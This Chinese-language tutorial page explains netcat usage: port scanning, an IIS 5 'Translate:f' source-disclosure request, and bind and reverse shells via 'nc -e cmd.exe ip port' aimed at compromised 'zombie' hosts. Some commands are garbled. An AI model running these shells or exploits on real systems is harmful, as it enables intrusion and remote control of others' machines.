Windows XP Windows 7 Windows 2003 Windows Vista Windows教程綜合 Linux 系統教程
Windows 10 Windows 8 Windows 2008 Windows NT Windows Server 電腦軟件教程
 Windows教程網 >> Windows教程綜合 >> 系統命令 >> nc命令詳解

nc命令詳解

日期:2017/2/7 17:07:24      編輯:系統命令
netcat被譽為網絡安全界的‘瑞士軍刀’,相信沒有什麼人不認識它吧……
一個簡單而有用的工具,透過使用TCP或UDP協議的網絡連接去讀寫數據。它被設計成一個穩定的後門工具,
能夠直接由其它程序和腳本輕松驅動。同時,它也是一個功能強大的網絡調試和探測工具,能夠建立你需要的幾
乎所有類型的網絡連接,還有幾個很有意思的內置功能(詳情請看下面的使用方法)。
nc命令詳解
Filed under: security — ranbo @ 9:08 pm
netcat被譽為網絡安全界的‘瑞士軍刀’,相信沒有什麼人不認識它吧……
一個簡單而有用的工具,透過使用TCP或UDP協議的網絡連接去讀寫數據。它被設計成一個穩定的後門工具,
能夠直接由其它程序和腳本輕松驅動。同時,它也是一個功能強大的網絡調試和探測工具,能夠建立你需要的幾
乎所有類型的網絡連接,還有幾個很有意思的內置功能(詳情請看下面的使用方法)。
在中國,它的WINDOWS版有兩個版本,一個是原創者Chris Wysopal寫的原版本,另一個是由‘紅與黑’編譯
後的新‘濃縮’版。‘濃縮’版的主程序只有10多KB(10多KB的NC是不能完成下面所說的第4、第5種使用方法,
有此功能的原版NC好象要60KB:P),雖然”體積”小,但很完成很多工作。
一、基本使用
想要連接到某處: nc [-options] hostname port[s] [ports] …
綁定端口等待連接: nc -l -p port [-options] [hostname] [port]
參數:
-e prog 程序重定向,一旦連接,就執行 [危險!!]
-g gateway source-routing hop point[s], up to 8
-G num source-routing pointer: 4, 8, 12, …
-h 幫助信息
-i secs 延時的間隔
-l 監聽模式,用於入站連接
-n 指定數字的IP地址,不能用hostname
-o file 記錄16進制的傳輸
-p port 本地端口號
-r 任意指定本地及遠程端口
-s addr 本地源地址
-u UDP模式
-v 詳細輸出——用兩個-v可得到更詳細的內容
-w secs timeout的時間
-z 將輸入輸出關掉——用於掃描時
其中端口號可以指定一個或者用lo-hi式的指定范圍。
例如:掃描端口
tcp掃描
C:nc>nc -v -z -w2 192.168.0.80 1-140
net [192.168.0.80] 140 (?)
net [192.168.0.80] 139 (netbios-ssn) open
net [192.168.0.80] 138 (?)
net [192.168.0.80] 137 (netbios-ns)
net [192.168.0.80] 136 (?)
net [192.168.0.80] 135 (epmap) open
net [192.168.0.80] 81 (?) open
net [192.168.0.80] 80 (http) open
net [192.168.0.80] 79 (finger)
net [192.168.0.80] 25 (smtp) open
net [192.168.0.80] 24 (?)
net [192.168.0.80] 23 (telnet)
net [192.168.0.80] 21 (ftp)
udp掃描
C:nc>nc -u -v -z -w2 192.168.0.80 1-140
net [192.168.0.80] 140 (?) open
net [192.168.0.80] 139 (?) open
net [192.168.0.80] 138 (netbios-dgm) open
net [192.168.0.80] 137 (netbios-ns) open
net [192.168.0.80] 54 (?) open
net [192.168.0.80] 53 (domain) open
net [192.168.0.80] 38 (?) open
net [192.168.0.80] 37 (time) open
net [192.168.0.80] 7 (echo) open
二、高級應用
1.IE的MIME欺騙
這個網站目錄提供了黑客的n關,過了這n關證明你開始入門了。我做的
http://www.try2hack.nl
的國產版。
這個頁面告訴我們的浏覽器不是 IE6.72,我們的*作系統不是LIUNX,我們不是從
www.microsoft.com/ms.htm
重定向鏈接過去的,linux有 IE6.72? 微軟會在它的頁面上放
http://www.try2hack.nl/cgi-bin/level7.pl
的鏈接?
nc 221.10.222.34 80
GET /level/level7.php HTTP/1.1
Accept:image/gif,image/x-xbitmap,application/msword,*/*
Referer:http://www.microsoft.com/ms.htm
Accept-Language:zh-cn
Accept-Encodeing:gzip,deflate
User-Agent:Mozilla/4.0 (compatible;MSIE6.72;Linux i686)
Host:221.10.222.34
Connection:Keep-Alive
2.IIS 5 “Translate:f” 顯示代碼脆弱點
Translate:f脆弱點的機制:發送一個畸形的HTTP GET 請求給服務器方一個可執行腳本或相關文件類型(例如.ASP或者global.asa)。這些文件是用於服務器上運行的,絕不會到客戶機上去,而這個請求就會導致IIS將這種文件的內容發送到遠端的客戶機上,而不是在服務器上運行。這種畸形的HTTP GET請求的關鍵特性是該請求的末尾有一個特定的頭信息Translate:f,並有一個反斜槓””附於URL之後。下面就有這樣的一個例子([CRLF]代表回車字符)
注意 GET global.asa 後的反斜槓以及Translate:f頭信息。
GET /global.asa HTTP/1.0
Host:192.168.0.1
User-Agent:SensePostData
Content-Type:application/x-www-form-urlencoded
Translate:f
[CRLF]
[CRLF]
將以上內容保存在一個文本文件中(例如example.txt)
然後向一個有這個漏洞的服務器發送
c:>type example.txt | nc –nvv 192.168.0.80 80
(UNKNOWN) [192.168.0.80] 80 (?) open
HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Tue, 03 Dec 2002 08:50:46 GMT
Content-Type: application/octet-stream
Content-Length: 2790
ETag: “0448299fcd6df1:bea”
Last-Modified: Wed, 13 Nov 2002 18:50:46 GMT
Accept-Ranges: bytes
Cache-Control: no-cache
舉例:
1)連接到REMOTE主機,例子:
格式:nc -nvv 192.168.x.x 80
講解:連到192.168.x.x的TCP80端口
2)監聽LOCAL主機,例子:
格式:nc -l -p 80
講解:監聽本機的TCP80端口
3)掃描遠程主機,例子:
格式:nc -nvv -w2 -z 192.168.x.x 80-445
講解:掃描192.168.x.x的TCP80到TCP445的所有端口
4)REMOTE主機綁定SHELL,例子:
格式:nc -l -p 5354 -t -e c:winntsystem32cmd.exe
講解:綁定REMOTE主機的CMDSHELL在REMOTE主機的TCP5354端口
5)REMOTE主機綁定SHELL並反向連接,例子:
格式:nc -t -e c:winntsystem32cmd.exe 192.168.x.x 5354
講解:綁定REMOTE主機的CMDSHELL並反向連接到192.168.x.x的TCP5354端口
以上為最基本的幾種用法(其實NC的用法還有很多,
當配合管道命令”|”與重定向命令”“等等命令功能更強大……)。
=====================================================================================================
高級用法:
6)作攻擊程序用,例子:
格式1:type.exe c:exploit.txt|nc -nvv 192.168.x.x 80
格式2:nc -nvv 192.168.x.x 80 c:log.txt
講解:使用’-L’可以不停地監聽某一個端口,直到ctrl+c為止,同時把結果輸出到’c:log.txt’中,如果把‘>’
改為‘>>’即可以追加日志
附:’c:log.txt’為日志等
9)作蜜罐用[3],例子:
格式1:nc -L -p 80 e:log.dat
nc -l -v -p port
參數解釋:
-l:監聽端口,監聽入站信息
-p:後跟本地端口號
-v:顯示端口的信息,如果使用-vv的話,則會顯示端口更詳細的信息
提示:一般大家都愛用-vv
nc -l -p 80
這個很簡單,監聽80端口
如果機器上運行這個命令,端口80被認為是開放的,可以欺騙很多掃描器的哦!
nc -l -p 80 > e:log.dat
呵呵,功能和上邊一樣,但是後邊加了個“> e:log.dat”我想,學過ECHO
那個命令的人都會知道吧,是在E盤創建一個log.dat的日志文件
nc -l -v -p 80
和上邊命令相似,不過這次不是記錄在文件裡,而是會直接顯示在運行著NC
的屏幕上。
呵呵,講了這麼多,來實踐下
nc -l -v -p 80
然後在浏覽器中輸入本機IP:127.0.0.1
呵呵,看到什麼?
同樣,上邊兩個也是一樣,大家自己試驗一下吧
命令2:程序定向
nc -l -p port -t -e cmd.exe
本地機: nc -l -p port 或 nc -l -v -p port
目標機:nc -e cmd.exe ip port
參數解釋:
-l、-p兩個參數已經解釋過了
-e;作用就是程序定向
-t:以telnet的形式來應答
例子
nc -l -p 5277 -t -e cmd.exe
知道運行在哪裡嗎?千萬不要運行在自己的機器上,如果運行了,你機器
就會變成一台TELNET的服務器了,呵呵,解釋一下:監聽本地端口5277的
入站信息,同時將CMD.exe這個程序,重定向到端口5277上,當有人連接的時候,就讓程序CMD.exe以TELNET的形式來響應連接要求。
說白了,其實就是讓他成為一台TELNET的肉雞,所以這個命令要運行在你的肉雞上。。(話外音:說這麼多遍當我們白癡啊,快往下講!!!)
呵呵,咱們來找台肉雞試試,我TELNET IP 5277
HOHO~~如何?
local machine:nc -l -p port ( or nc -l -v -p port )
remote machine:nc -e cmd.exe ip port
大家知道灰鴿子和神偷吧,這兩款工具都是利用了反彈端口型的木馬,
什麼叫反彈端口?就是說,當對方中馬後,不用你主動和對方連接,也就是說
不用從你的client端向對方主機上運行的server端發送請求連接,而是對方主動來連接你
這樣就可以使很多防火牆失效,因為很多防火牆都不檢查出站請求的。
這裡這兩個命令結合在一起後,於那兩款木馬可以說有異曲同工之效。為什麼?
咳!!聽我給你講啊!!(先交100000000RMB學費)哇,別殺我啊!!)
nc -l -p 5277 (堅聽本地5277端口)
同樣也可以用
nc -l -v -p 5277
運行在本地
然後在遠程機器上,想辦法運行
nc -e cmd.exe ip 5277
(你可別真的打“ip”在肉機上啊)要打,xxx.xxx.xxx.xxx這樣!!
呵呵,看看在本地機器上出現了什麼?
這樣就是反彈~~在本地機器上得到了一個SHELL
命令3:掃描端口
nc -v ip port
nc -v -z ip port-port
nc -v -z -u ip port-port
參數解釋:
-z:將輸入輸出關掉,在掃描時使用
nc -v ip port
這個命令是針對某一個端口進行掃描
例如:
nc -v ip 135
掃描遠程主機的135端口,這樣獲得了該端口的一些簡單信息,但是針對某些端口,我們還可以獲得更多的信息
例如:80端口
我們可以使用nc -v ip 80 然後使用get方法來獲得對方的WEB服務器的信息
nc -v -z ip port-port
這個命令是用來掃描的一個命令,這個命令用於快速掃描TCP端口,而port-port則是指定了掃描的端口范圍
例如:
nc -v -z ip 1-200
可以看到我機器上的1-200的TCP端口的開放情況
nc -v -z -u ip port-port
這個命令比上個命令多了個-u,這個命令的作用仍然是掃描端口,只是多了一個-u的參數,是用來掃UDP端口的
例如:
nc -v -z -u ip 1-200
這個命令就會掃1-200的UDP端口
命令4:傳送文件(HOHO,I LIKE)
LOCAL MACHINE:nc -v -n ip port y:svr.exe
參數解釋:
-n:指定數字的IP地址
這兩個命令結合起來是用來傳送文件的
首先,在遠程機上運行命令:
nc -v -l -p 5277 > c:pulist.exe
這個命令還記的嗎?呵呵,是不是和監聽命令有點類似,對,沒錯,這個是監聽5277端口
並把接受到的信息數據寫到c:pulist.exe中
這時候在本地機上運行
nc -v -n ip 5277
Copyright © Windows教程網 All Rights Reserved